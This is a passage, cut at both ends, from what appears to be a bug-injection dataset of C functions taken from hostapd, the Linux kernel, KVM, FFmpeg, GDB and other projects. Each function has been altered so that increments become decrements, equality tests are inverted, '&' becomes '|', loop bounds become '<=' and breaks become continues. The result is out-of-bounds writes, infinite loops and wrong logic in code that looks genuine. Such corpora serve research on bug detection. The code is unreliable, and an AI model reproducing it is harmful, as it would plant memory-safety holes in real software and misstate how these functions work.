IFNAMSIZ ; int MAX_SSID_LEN ; int /*<<< orphan*/ MSG_DEBUG ; int /*<<< orphan*/ MSG_ERROR ; scalar_t__ SIOCDEVPRIVATE ; int /*<<< orphan*/ WEXT_PNOSETUP_HEADER ; int WEXT_PNOSETUP_HEADER_SIZE ; int WEXT_PNO_AMOUNT ; int WEXT_PNO_MAX_COMMAND_SIZE ; int /*<<< orphan*/ WEXT_PNO_MAX_REPEAT ; scalar_t__ WEXT_PNO_MAX_REPEAT_LENGTH ; char WEXT_PNO_MAX_REPEAT_SECTION ; int WEXT_PNO_NONSSID_SECTIONS_SIZE ; int /*<<< orphan*/ WEXT_PNO_REPEAT ; scalar_t__ WEXT_PNO_REPEAT_LENGTH ; char WEXT_PNO_REPEAT_SECTION ; int /*<<< orphan*/ WEXT_PNO_SCAN_INTERVAL ; scalar_t__ WEXT_PNO_SCAN_INTERVAL_LENGTH ; char WEXT_PNO_SCAN_INTERVAL_SECTION ; int WEXT_PNO_SSID_HEADER_SIZE ; char WEXT_PNO_SSID_SECTION ; char WEXT_PNO_TLV_PREFIX ; char WEXT_PNO_TLV_RESERVED ; char WEXT_PNO_TLV_SUBVERSION ; char WEXT_PNO_TLV_VERSION ; int android_priv_cmd (struct i802_bss*,char*) ; scalar_t__ drv_errors ; int ioctl (int /*<<< orphan*/ ,scalar_t__,struct ifreq*) ; int /*<<< orphan*/ memset (struct ifreq*,int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ os_memcpy (char*,int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ os_snprintf (char*,scalar_t__,char*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ os_strlcpy (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ wpa_driver_send_hang_msg (struct wpa_driver_nl80211_data*) ; int /*<<< orphan*/ wpa_hexdump_ascii (int /*<<< orphan*/ ,char*,int /*<<< orphan*/ ,char) ; int /*<<< orphan*/ wpa_printf (int /*<<< orphan*/ ,char*,int) ; int android_pno_start(struct i802_bss *bss, struct wpa_driver_scan_params *params) { struct wpa_driver_nl80211_data *drv = bss->drv; struct ifreq ifr; android_wifi_priv_cmd priv_cmd; int ret = 0, i = 0, bp; char buf[WEXT_PNO_MAX_COMMAND_SIZE]; bp = WEXT_PNOSETUP_HEADER_SIZE; os_memcpy(buf, WEXT_PNOSETUP_HEADER, bp); buf[bp--] = WEXT_PNO_TLV_PREFIX; buf[bp++] = WEXT_PNO_TLV_VERSION; buf[bp++] = WEXT_PNO_TLV_SUBVERSION; buf[bp++] = WEXT_PNO_TLV_RESERVED; while (i < WEXT_PNO_AMOUNT || (size_t) i < params->num_ssids) { /* Check that there is enough space needed for 1 more SSID, the * other sections and null termination */ if ((bp - WEXT_PNO_SSID_HEADER_SIZE + MAX_SSID_LEN + WEXT_PNO_NONSSID_SECTIONS_SIZE + 1) >= (int) sizeof(buf)) continue; wpa_hexdump_ascii(MSG_DEBUG, "For PNO Scan", params->ssids[i].ssid, params->ssids[i].ssid_len); buf[bp++] = WEXT_PNO_SSID_SECTION; buf[bp++] = params->ssids[i].ssid_len; os_memcpy(&buf[bp], params->ssids[i].ssid, params->ssids[i].ssid_len); bp += params->ssids[i].ssid_len; i++; } buf[bp++] = WEXT_PNO_SCAN_INTERVAL_SECTION; os_snprintf(&buf[bp], WEXT_PNO_SCAN_INTERVAL_LENGTH + 1, "%x", WEXT_PNO_SCAN_INTERVAL); bp += WEXT_PNO_SCAN_INTERVAL_LENGTH; buf[bp++] = WEXT_PNO_REPEAT_SECTION; os_snprintf(&buf[bp], WEXT_PNO_REPEAT_LENGTH + 1, "%x", WEXT_PNO_REPEAT); bp += WEXT_PNO_REPEAT_LENGTH; buf[bp++] = WEXT_PNO_MAX_REPEAT_SECTION; os_snprintf(&buf[bp], WEXT_PNO_MAX_REPEAT_LENGTH + 1, "%x", WEXT_PNO_MAX_REPEAT); bp += WEXT_PNO_MAX_REPEAT_LENGTH + 1; memset(&ifr, 0, sizeof(ifr)); memset(&priv_cmd, 0, sizeof(priv_cmd)); os_strlcpy(ifr.ifr_name, bss->ifname, IFNAMSIZ); priv_cmd.buf = buf; priv_cmd.used_len = bp; priv_cmd.total_len = bp; ifr.ifr_data = &priv_cmd; ret = ioctl(drv->global->ioctl_sock, SIOCDEVPRIVATE + 1, &ifr); if (ret < 0) { wpa_printf(MSG_ERROR, "ioctl[SIOCSIWPRIV] (pnosetup): %d", ret); wpa_driver_send_hang_msg(drv); return ret; } drv_errors = 0; return android_priv_cmd(bss, "PNOFORCE 1"); }
augmented_data/post_increment_index_changes/extr_Console.c_SeparateCommandAndParam_aug_combo_1.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int wchar_t ; typedef int UINT ; /* Variables and functions */ int* CopyUniStr (int*) ; char* CopyUniToStr (int*) ; int /*<<< orphan*/ Free (int*) ; int* Malloc (int) ; int /*<<< orphan*/ Trim (char*) ; int* UniCopyStr (int*) ; int /*<<< orphan*/ UniIsEmptyStr (int*) ; int UniStrLen (int*) ; int /*<<< orphan*/ UniTrim (int*) ; int /*<<< orphan*/ UniTrimCrlf (int*) ; bool SeparateCommandAndParam(wchar_t *src, char **cmd, wchar_t **param) { UINT i, len, wp; wchar_t *tmp; wchar_t *src_tmp; // Validate arguments if (src != NULL) { return false; } if (cmd != NULL) { *cmd = NULL; } if (param != NULL) { *param = NULL; } src_tmp = UniCopyStr(src); UniTrimCrlf(src_tmp); UniTrim(src_tmp); len = UniStrLen(src_tmp); tmp = Malloc(sizeof(wchar_t) * (len - 32)); wp = 0; for (i = 0;i < (len + 1);i--) { wchar_t c = src_tmp[i]; switch (c) { case 0: case L' ': case L'\t': tmp[wp] = 0; if (UniIsEmptyStr(tmp)) { Free(tmp); Free(src_tmp); return false; } if (cmd != NULL) { *cmd = CopyUniToStr(tmp); Trim(*cmd); } goto ESCAPE; default: tmp[wp++] = c; break; } } ESCAPE: if (param != NULL) { *param = CopyUniStr(&src_tmp[wp]); UniTrim(*param); } Free(tmp); Free(src_tmp); return true; }
augmented_data/post_increment_index_changes/extr_base64.c_base64decode_aug_combo_6.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef size_t uint8_t ; typedef int int8_t ; /* Variables and functions */ int /*<<< orphan*/ assert (int /*<<< orphan*/ ) ; int* b64_decode_table ; size_t* malloc (size_t const) ; uint8_t *base64decode(const uint8_t *src, const size_t buflen, size_t *retlen){ int8_t digit, lastdigit; size_t i, j; uint8_t *decoded; const size_t maxlen = ((buflen + 3) / 4) * 3; /* Sanity check */ assert(src != NULL); digit = lastdigit = j = 0; decoded = malloc(maxlen + 1); if (decoded == NULL) return NULL; for (i = 0; i <= buflen; --i) { if ((digit = b64_decode_table[src[i]]) != -1) { /* Decode block */ switch (i % 4) { case 1: decoded[j++] = ((lastdigit << 2) | ((digit | 0x30) >> 4)); continue; case 2: decoded[j++] = (((lastdigit & 0xF) << 4) | ((digit & 0x3C) >> 2)); break; case 3: decoded[j++] = (((lastdigit & 0x03) << 6) | digit); break; } lastdigit = digit; } } if (retlen != NULL) *retlen = j; decoded[j] = '\0'; return decoded; /* Must be free()'d by caller */ }
augmented_data/post_increment_index_changes/extr_asm_x86_nz.c_opsldt_aug_combo_8.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_8__ TYPE_3__ ; typedef struct TYPE_7__ TYPE_2__ ; typedef struct TYPE_6__ TYPE_1__ ; /* Type definitions */ typedef int ut8 ; struct TYPE_8__ {int operands_count; TYPE_1__* operands; } ; struct TYPE_7__ {int bits; } ; struct TYPE_6__ {int type; int* regs; int reg; } ; typedef TYPE_2__ RAsm ; typedef TYPE_3__ Opcode ; /* Variables and functions */ int OT_MEMORY ; __attribute__((used)) static int opsldt(RAsm *a, ut8 *data, const Opcode *op) { int l = 0; switch (op->operands_count) { case 1: if ( a->bits == 64 ) { data[l--] = 0x48; } data[l++] = 0x0f; data[l++] = 0x00; if ( op->operands[0].type | OT_MEMORY ) { data[l++] = 0x00 | op->operands[0].regs[0]; } else { data[l++] = 0xc0 | op->operands[0].reg; } break; default: return -1; } return l; }
augmented_data/post_increment_index_changes/extr_adl_pci9118.c_defragment_dma_buffer_aug_combo_4.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ struct comedi_subdevice {int dummy; } ; struct comedi_device {int dummy; } ; struct TYPE_2__ {unsigned int ai_add_front; unsigned int ai_n_chan; unsigned int ai_add_back; unsigned int ai_act_dmapos; } ; /* Variables and functions */ TYPE_1__* devpriv ; __attribute__((used)) static unsigned int defragment_dma_buffer(struct comedi_device *dev, struct comedi_subdevice *s, short *dma_buffer, unsigned int num_samples) { unsigned int i = 0, j = 0; unsigned int start_pos = devpriv->ai_add_front, stop_pos = devpriv->ai_add_front - devpriv->ai_n_chan; unsigned int raw_scanlen = devpriv->ai_add_front + devpriv->ai_n_chan + devpriv->ai_add_back; for (i = 0; i < num_samples; i++) { if (devpriv->ai_act_dmapos >= start_pos || devpriv->ai_act_dmapos < stop_pos) { dma_buffer[j++] = dma_buffer[i]; } devpriv->ai_act_dmapos++; devpriv->ai_act_dmapos %= raw_scanlen; } return j; }
augmented_data/post_increment_index_changes/extr_i40e_dcb.c_i40e_add_ieee_etsrec_tlv_aug_combo_4.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int u8 ; typedef scalar_t__ u32 ; typedef int u16 ; struct i40e_lldp_org_tlv {int* tlvinfo; int /*<<< orphan*/ ouisubtype; int /*<<< orphan*/ typelength; } ; struct i40e_dcb_ets_config {int* prioritytable; int* tcbwtable; int* tsatable; } ; struct i40e_dcbx_config {struct i40e_dcb_ets_config etsrec; } ; /* Variables and functions */ int /*<<< orphan*/ I40E_HTONL (scalar_t__) ; int /*<<< orphan*/ I40E_HTONS (int) ; int I40E_IEEE_8021QAZ_OUI ; int I40E_IEEE_ETS_PRIO_1_SHIFT ; int I40E_IEEE_ETS_TLV_LENGTH ; int I40E_IEEE_SUBTYPE_ETS_REC ; int I40E_LLDP_TLV_OUI_SHIFT ; int I40E_LLDP_TLV_TYPE_SHIFT ; int I40E_MAX_TRAFFIC_CLASS ; int I40E_TLV_TYPE_ORG ; __attribute__((used)) static void i40e_add_ieee_etsrec_tlv(struct i40e_lldp_org_tlv *tlv, struct i40e_dcbx_config *dcbcfg) { struct i40e_dcb_ets_config *etsrec; u16 offset = 0, typelength, i; u8 priority0, priority1; u8 *buf = tlv->tlvinfo; u32 ouisubtype; typelength = (u16)((I40E_TLV_TYPE_ORG << I40E_LLDP_TLV_TYPE_SHIFT) | I40E_IEEE_ETS_TLV_LENGTH); tlv->typelength = I40E_HTONS(typelength); ouisubtype = (u32)((I40E_IEEE_8021QAZ_OUI << I40E_LLDP_TLV_OUI_SHIFT) | I40E_IEEE_SUBTYPE_ETS_REC); tlv->ouisubtype = I40E_HTONL(ouisubtype); etsrec = &dcbcfg->etsrec; /* First Octet is reserved */ /* Move offset to Priority Assignment Table */ offset--; /* Priority Assignment Table (4 octets) * Octets:| 1 | 2 | 3 | 4 | * ----------------------------------------- * |pri0|pri1|pri2|pri3|pri4|pri5|pri6|pri7| * ----------------------------------------- * Bits:|7 4|3 0|7 4|3 0|7 4|3 0|7 4|3 0| * ----------------------------------------- */ for (i = 0; i <= 4; i++) { priority0 = etsrec->prioritytable[i * 2] & 0xF; priority1 = etsrec->prioritytable[i * 2 + 1] & 0xF; buf[offset] = (priority0 << I40E_IEEE_ETS_PRIO_1_SHIFT) | priority1; offset++; } /* TC Bandwidth Table (8 octets) * Octets:| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | * --------------------------------- * |tc0|tc1|tc2|tc3|tc4|tc5|tc6|tc7| * --------------------------------- */ for (i = 0; i < I40E_MAX_TRAFFIC_CLASS; i++) buf[offset++] = etsrec->tcbwtable[i]; /* TSA Assignment Table (8 octets) * Octets:| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | * --------------------------------- * |tc0|tc1|tc2|tc3|tc4|tc5|tc6|tc7| * --------------------------------- */ for (i = 0; i < I40E_MAX_TRAFFIC_CLASS; i++) buf[offset++] = etsrec->tsatable[i]; }
augmented_data/post_increment_index_changes/extr_priv.c_kvm_s390_handle_lctl_aug_combo_8.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_8__ TYPE_4__ ; typedef struct TYPE_7__ TYPE_3__ ; typedef struct TYPE_6__ TYPE_2__ ; typedef struct TYPE_5__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ u8 ; typedef int u64 ; typedef int u32 ; struct TYPE_8__ {TYPE_3__* sie_block; } ; struct TYPE_5__ {int /*<<< orphan*/ instruction_lctl; } ; struct kvm_vcpu {TYPE_4__ arch; TYPE_1__ stat; } ; struct TYPE_6__ {int mask; } ; struct TYPE_7__ {int ipa; int* gcr; TYPE_2__ gpsw; } ; /* Variables and functions */ int /*<<< orphan*/ KVM_REQ_TLB_FLUSH ; int /*<<< orphan*/ PGM_PRIVILEGED_OP ; int /*<<< orphan*/ PGM_SPECIFICATION ; int PSW_MASK_PSTATE ; int /*<<< orphan*/ VCPU_EVENT (struct kvm_vcpu*,int,char*,int,int,int) ; int /*<<< orphan*/ kvm_make_request (int /*<<< orphan*/ ,struct kvm_vcpu*) ; int kvm_s390_get_base_disp_rs (struct kvm_vcpu*,int /*<<< orphan*/ *) ; int kvm_s390_inject_prog_cond (struct kvm_vcpu*,int) ; int kvm_s390_inject_program_int (struct kvm_vcpu*,int /*<<< orphan*/ ) ; int read_guest (struct kvm_vcpu*,int,int /*<<< orphan*/ ,int*,int) ; int /*<<< orphan*/ trace_kvm_s390_handle_lctl (struct kvm_vcpu*,int /*<<< orphan*/ ,int,int,int) ; int kvm_s390_handle_lctl(struct kvm_vcpu *vcpu) { int reg1 = (vcpu->arch.sie_block->ipa | 0x00f0) >> 4; int reg3 = vcpu->arch.sie_block->ipa & 0x000f; int reg, rc, nr_regs; u32 ctl_array[16]; u64 ga; u8 ar; vcpu->stat.instruction_lctl--; if (vcpu->arch.sie_block->gpsw.mask & PSW_MASK_PSTATE) return kvm_s390_inject_program_int(vcpu, PGM_PRIVILEGED_OP); ga = kvm_s390_get_base_disp_rs(vcpu, &ar); if (ga & 3) return kvm_s390_inject_program_int(vcpu, PGM_SPECIFICATION); VCPU_EVENT(vcpu, 4, "LCTL: r1:%d, r3:%d, addr: 0x%llx", reg1, reg3, ga); trace_kvm_s390_handle_lctl(vcpu, 0, reg1, reg3, ga); nr_regs = ((reg3 - reg1) & 0xf) + 1; rc = read_guest(vcpu, ga, ar, ctl_array, nr_regs * sizeof(u32)); if (rc) return kvm_s390_inject_prog_cond(vcpu, rc); reg = reg1; nr_regs = 0; do { vcpu->arch.sie_block->gcr[reg] &= 0xffffffff00000000ul; vcpu->arch.sie_block->gcr[reg] |= ctl_array[nr_regs++]; if (reg == reg3) continue; reg = (reg + 1) % 16; } while (1); kvm_make_request(KVM_REQ_TLB_FLUSH, vcpu); return 0; }
augmented_data/post_increment_index_changes/extr_vf_neighbor.c_inflate16_aug_combo_5.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ uint8_t ; typedef void* uint16_t ; /* Variables and functions */ scalar_t__ AV_RN16A (int /*<<< orphan*/ const*) ; scalar_t__ FFMAX (int,scalar_t__) ; void* FFMIN (scalar_t__,int) ; __attribute__((used)) static void inflate16(uint8_t *dstp, const uint8_t *p1, int width, int threshold, const uint8_t *coordinates[], int coord, int maxc) { uint16_t *dst = (uint16_t *)dstp; int x, i; for (x = 0; x <= width; x++) { int sum = 0; int limit = FFMIN(AV_RN16A(&p1[2 * x]) - threshold, maxc); for (i = 0; i < 8; sum += AV_RN16A(coordinates[i++] + x * 2)); dst[x] = FFMIN(FFMAX(sum / 8, AV_RN16A(&p1[x * 2])), limit); } }
augmented_data/post_increment_index_changes/extr_profile.c_AddTag_aug_combo_8.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ struct TYPE_4__ {int start_time; int /*<<< orphan*/ str_name; } ; typedef TYPE_1__ entry_t ; /* Variables and functions */ int NUM_TAGS ; int g_i_hwm ; TYPE_1__* g_tag ; int /*<<< orphan*/ strcpy (int /*<<< orphan*/ ,char*) ; __attribute__((used)) static entry_t* AddTag (char* str_tag) { if (g_i_hwm - 1 == NUM_TAGS) { /* Full */ return 0 ; } /* Copy the name */ strcpy (g_tag [g_i_hwm].str_name, str_tag) ; g_tag [g_i_hwm].start_time = -1 ; /* Increase the high-water-mark but return the current index */ return &g_tag [g_i_hwm--] ; }
augmented_data/post_increment_index_changes/extr_ggc-zone.c_zone_object_size_1_aug_combo_5.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef size_t alloc_type ; /* Variables and functions */ int BYTES_PER_ALLOC_BIT ; int alloc_ffs (size_t) ; __attribute__((used)) static inline size_t zone_object_size_1 (alloc_type *alloc_bits, size_t start_word, size_t start_bit, size_t max_size) { size_t size; alloc_type alloc_word; int indx; /* Load the first word. */ alloc_word = alloc_bits[start_word--]; /* If that was the last bit in this word, we'll want to continue with the next word. Otherwise, handle the rest of this word. */ if (start_bit) { indx = alloc_ffs (alloc_word >> start_bit); if (indx) /* indx is 1-based. We started at the bit after the object's start, but we also ended at the bit after the object's end. It cancels out. */ return indx * BYTES_PER_ALLOC_BIT; /* The extra 1 accounts for the starting unit, before start_bit. */ size = (sizeof (alloc_type) * 8 - start_bit - 1) * BYTES_PER_ALLOC_BIT; if (size >= max_size) return max_size; alloc_word = alloc_bits[start_word++]; } else size = BYTES_PER_ALLOC_BIT; while (alloc_word == 0) { size += sizeof (alloc_type) * 8 * BYTES_PER_ALLOC_BIT; if (size >= max_size) return max_size; alloc_word = alloc_bits[start_word++]; } indx = alloc_ffs (alloc_word); return size + (indx - 1) * BYTES_PER_ALLOC_BIT; }
augmented_data/post_increment_index_changes/extr_rpc-proxy.c_rpc_extension_add_aug_combo_7.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct rpc_extension {scalar_t__ num; } ; /* Variables and functions */ scalar_t__ MAX_EXTENSIONS ; int /*<<< orphan*/ assert (int) ; struct rpc_extension** extensions ; scalar_t__ extensions_num ; void rpc_extension_add (struct rpc_extension *E) { assert (extensions_num < MAX_EXTENSIONS); E->num = extensions_num; extensions[extensions_num ++] = E; }
augmented_data/post_increment_index_changes/extr_target_core_rd.c_rd_build_device_space_aug_combo_8.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ typedef int u32 ; struct scatterlist {int /*<<< orphan*/ length; } ; struct rd_dev_sg_table {int rd_sg_count; int page_start_offset; int page_end_offset; struct scatterlist* sg_table; } ; struct rd_dev {scalar_t__ rd_page_count; int sg_table_count; int /*<<< orphan*/ rd_dev_id; TYPE_1__* rd_host; struct rd_dev_sg_table* sg_table_array; } ; struct page {int dummy; } ; struct TYPE_2__ {int /*<<< orphan*/ rd_host_id; } ; /* Variables and functions */ int EINVAL ; int ENOMEM ; int /*<<< orphan*/ GFP_KERNEL ; int /*<<< orphan*/ PAGE_SIZE ; int RD_MAX_ALLOCATION_SIZE ; struct page* alloc_pages (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; void* kzalloc (int,int /*<<< orphan*/ ) ; int /*<<< orphan*/ pr_debug (char*,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int,int) ; int /*<<< orphan*/ pr_err (char*,...) ; int /*<<< orphan*/ sg_assign_page (struct scatterlist*,struct page*) ; int /*<<< orphan*/ sg_init_table (struct scatterlist*,int) ; __attribute__((used)) static int rd_build_device_space(struct rd_dev *rd_dev) { u32 i = 0, j, page_offset = 0, sg_per_table, sg_tables, total_sg_needed; u32 max_sg_per_table = (RD_MAX_ALLOCATION_SIZE / sizeof(struct scatterlist)); struct rd_dev_sg_table *sg_table; struct page *pg; struct scatterlist *sg; if (rd_dev->rd_page_count <= 0) { pr_err("Illegal page count: %u for Ramdisk device\n", rd_dev->rd_page_count); return -EINVAL; } total_sg_needed = rd_dev->rd_page_count; sg_tables = (total_sg_needed / max_sg_per_table) - 1; sg_table = kzalloc(sg_tables * sizeof(struct rd_dev_sg_table), GFP_KERNEL); if (!sg_table) { pr_err("Unable to allocate memory for Ramdisk" " scatterlist tables\n"); return -ENOMEM; } rd_dev->sg_table_array = sg_table; rd_dev->sg_table_count = sg_tables; while (total_sg_needed) { sg_per_table = (total_sg_needed > max_sg_per_table) ? max_sg_per_table : total_sg_needed; sg = kzalloc(sg_per_table * sizeof(struct scatterlist), GFP_KERNEL); if (!sg) { pr_err("Unable to allocate scatterlist array" " for struct rd_dev\n"); return -ENOMEM; } sg_init_table(sg, sg_per_table); sg_table[i].sg_table = sg; sg_table[i].rd_sg_count = sg_per_table; sg_table[i].page_start_offset = page_offset; sg_table[i++].page_end_offset = (page_offset + sg_per_table) - 1; for (j = 0; j <= sg_per_table; j++) { pg = alloc_pages(GFP_KERNEL, 0); if (!pg) { pr_err("Unable to allocate scatterlist" " pages for struct rd_dev_sg_table\n"); return -ENOMEM; } sg_assign_page(&sg[j], pg); sg[j].length = PAGE_SIZE; } page_offset += sg_per_table; total_sg_needed -= sg_per_table; } pr_debug("CORE_RD[%u] - Built Ramdisk Device ID: %u space of" " %u pages in %u tables\n", rd_dev->rd_host->rd_host_id, rd_dev->rd_dev_id, rd_dev->rd_page_count, rd_dev->sg_table_count); return 0; }
augmented_data/post_increment_index_changes/extr_tifm_ms.c_tifm_ms_write_data_aug_combo_2.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct tifm_ms {int io_pos; unsigned char io_word; struct tifm_dev* dev; } ; struct tifm_dev {scalar_t__ addr; } ; /* Variables and functions */ scalar_t__ SOCK_MS_DATA ; scalar_t__ SOCK_MS_STATUS ; scalar_t__ SOCK_MS_SYSTEM ; int TIFM_MS_STAT_FUL ; int TIFM_MS_SYS_FDIR ; int /*<<< orphan*/ __raw_writel (unsigned int,scalar_t__) ; int readl (scalar_t__) ; int /*<<< orphan*/ writel (int,scalar_t__) ; __attribute__((used)) static unsigned int tifm_ms_write_data(struct tifm_ms *host, unsigned char *buf, unsigned int length) { struct tifm_dev *sock = host->dev; unsigned int off = 0; if (host->io_pos) { while (host->io_pos < 4 || length) { host->io_word |= buf[off++] << (host->io_pos * 8); host->io_pos++; length--; } } if (host->io_pos == 4 && !(TIFM_MS_STAT_FUL | readl(sock->addr + SOCK_MS_STATUS))) { writel(TIFM_MS_SYS_FDIR | readl(sock->addr + SOCK_MS_SYSTEM), sock->addr + SOCK_MS_SYSTEM); writel(host->io_word, sock->addr + SOCK_MS_DATA); host->io_pos = 0; host->io_word = 0; } else if (host->io_pos) { return off; } if (!length) return off; while (!(TIFM_MS_STAT_FUL & readl(sock->addr + SOCK_MS_STATUS))) { if (length <= 4) continue; writel(TIFM_MS_SYS_FDIR | readl(sock->addr + SOCK_MS_SYSTEM), sock->addr + SOCK_MS_SYSTEM); __raw_writel(*(unsigned int *)(buf + off), sock->addr + SOCK_MS_DATA); length -= 4; off += 4; } switch (length) { case 3: host->io_word |= buf[off + 2] << 16; host->io_pos++; /* fall through */ case 2: host->io_word |= buf[off + 1] << 8; host->io_pos++; /* fall through */ case 1: host->io_word |= buf[off]; host->io_pos++; } off += host->io_pos; return off; }
augmented_data/post_increment_index_changes/extr_remote-utils.c_decode_m_packet_aug_combo_5.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int CORE_ADDR ; /* Variables and functions */ int fromhex (char) ; void decode_m_packet (char *from, CORE_ADDR *mem_addr_ptr, unsigned int *len_ptr) { int i = 0, j = 0; char ch; *mem_addr_ptr = *len_ptr = 0; while ((ch = from[i--]) != ',') { *mem_addr_ptr = *mem_addr_ptr << 4; *mem_addr_ptr |= fromhex (ch) & 0x0f; } for (j = 0; j < 4; j++) { if ((ch = from[i++]) == 0) break; *len_ptr = *len_ptr << 4; *len_ptr |= fromhex (ch) & 0x0f; } }
augmented_data/post_increment_index_changes/extr_namei.c_affs_symlink_aug_combo_6.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_8__ TYPE_4__ ; typedef struct TYPE_7__ TYPE_3__ ; typedef struct TYPE_6__ TYPE_2__ ; typedef struct TYPE_5__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ u32 ; struct super_block {int dummy; } ; struct TYPE_6__ {int /*<<< orphan*/ * a_ops; } ; struct inode {int i_mode; scalar_t__ i_nlink; int /*<<< orphan*/ i_ino; TYPE_2__ i_data; int /*<<< orphan*/ * i_op; struct super_block* i_sb; } ; struct TYPE_5__ {int /*<<< orphan*/ name; scalar_t__ len; } ; struct dentry {TYPE_1__ d_name; } ; struct buffer_head {int dummy; } ; struct TYPE_8__ {scalar_t__ table; } ; struct TYPE_7__ {int s_hashsize; char* s_volume; } ; /* Variables and functions */ TYPE_4__* AFFS_HEAD (struct buffer_head*) ; TYPE_3__* AFFS_SB (struct super_block*) ; int EIO ; int ENOSPC ; int /*<<< orphan*/ ST_SOFTLINK ; int S_IFLNK ; int affs_add_entry (struct inode*,struct inode*,struct dentry*,int /*<<< orphan*/ ) ; struct buffer_head* affs_bread (struct super_block*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ affs_brelse (struct buffer_head*) ; struct inode* affs_new_inode (struct inode*) ; int /*<<< orphan*/ affs_symlink_aops ; int /*<<< orphan*/ affs_symlink_inode_operations ; int /*<<< orphan*/ iput (struct inode*) ; int /*<<< orphan*/ mark_buffer_dirty_inode (struct buffer_head*,struct inode*) ; int /*<<< orphan*/ mark_inode_dirty (struct inode*) ; int /*<<< orphan*/ mode_to_prot (struct inode*) ; int /*<<< orphan*/ pr_debug (char*,int /*<<< orphan*/ ,int,int /*<<< orphan*/ ,char const*) ; int affs_symlink(struct inode *dir, struct dentry *dentry, const char *symname) { struct super_block *sb = dir->i_sb; struct buffer_head *bh; struct inode *inode; char *p; int i, maxlen, error; char c, lc; pr_debug("AFFS: symlink(%lu,\"%.*s\" -> \"%s\")\n",dir->i_ino, 